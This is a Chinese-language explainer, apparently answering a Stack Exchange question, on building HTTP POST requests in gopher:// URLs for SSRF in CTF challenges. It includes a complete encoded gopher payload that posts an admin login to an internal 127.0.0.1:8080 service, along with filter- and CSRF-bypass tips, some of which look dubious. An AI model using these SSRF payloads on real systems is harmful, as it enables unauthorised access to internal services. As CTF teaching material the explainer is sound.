关于Gopher协议构造带参数POST请求的技术咨询及CTF解题求助
Gopher协议构造HTTP POST请求解析及CTF实战思路
一、目标Gopher代码解析
你给出的Gopher串:
gopher://:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
先对URL编码部分解码,得到实际发送给服务器的原始数据:
POST /x HTTP/1.0 Cookie: eatme I am a post body
这是标准的HTTP POST请求结构:
- 请求行:
POST /x HTTP/1.0声明请求方法为POST,路径为/x,HTTP版本1.0 - 请求头:
Cookie: eatme携带Cookie信息 - 空行:两个换行(
%0A%0A解码后)分隔请求头和请求体 - 请求体:
I am a post body实际提交的POST数据
Gopher协议的核心逻辑是通过gopher://<host>:<port>/_<原始数据>格式,将下划线后的任意原始数据直接发送到目标端口,所以这行代码本质是用Gopher向本地8080端口投递了一个HTTP POST请求。
二、能否用Gopher构造HTTP POST请求?
完全可以。Gopher协议支持传递任意二进制/文本数据,只要严格遵循HTTP请求格式规范,将请求内容做URL编码后拼接在Gopher URL的下划线后,就能模拟出标准的HTTP POST请求。
构造核心要点
- 严格遵循HTTP请求格式:请求行 → 若干请求头 → 空行 → 请求体
- 特殊字符必须URL编码:空格替换为
%20,换行替换为%0A(规范HTTP用CRLF即%0D%0A,多数场景%0A也兼容) - Gopher URL结构固定:
gopher://<目标地址>:<端口>/_<编码后的HTTP请求>,下划线是协议要求的分隔符,不可省略
三、相关CTF题目解法思路
CTF中这类场景常和SSRF漏洞结合,比如通过SSRF漏洞利用Gopher协议访问内网HTTP服务,构造POST请求完成登录、提交数据等操作。以下是典型解题步骤:
1. 构造目标HTTP POST请求
假设内网服务127.0.0.1:8080的登录接口需要提交表单,先写出正常的HTTP请求:
POST /admin/login HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 27 username=admin&password=ctf123
2. 对HTTP请求做URL编码
将请求中的换行替换为%0D%0A,空格替换为%20,得到编码后的字符串:
POST%20/admin/login%20HTTP/1.1%0D%0AHost:%20127.0.0.1:8080%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2027%0D%0A%0D%0Ausername=admin&password=ctf123
3. 拼接成Gopher URL
把编码后的字符串放到Gopher协议结构中:
gopher://127.0.0.1:8080/_POST%20/admin/login%20HTTP/1.1%0D%0AHost:%20127.0.0.1:8080%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2027%0D%0A%0D%0Ausername=admin&password=ctf123
4. 适配漏洞场景
如果SSRF参数会自动做一次URL解码,需要将整个Gopher URL再做一次URL编码后传入;部分环境可能限制Gopher协议,需要用gopher://的变种(比如gopher0://)绕过。
关键注意事项
- HTTP/1.1必须携带Host头,否则部分服务会拒绝请求
- Content-Length的数值必须和请求体的实际长度一致,否则服务器可能丢弃请求体
- 若目标服务有CSRF防护,可能需要在请求头中添加Referer、X-Forwarded-For等字段模拟合法请求
内容的提问来源于stack exchange,提问作者Mashumaro
相关产品推荐
相关产品推荐

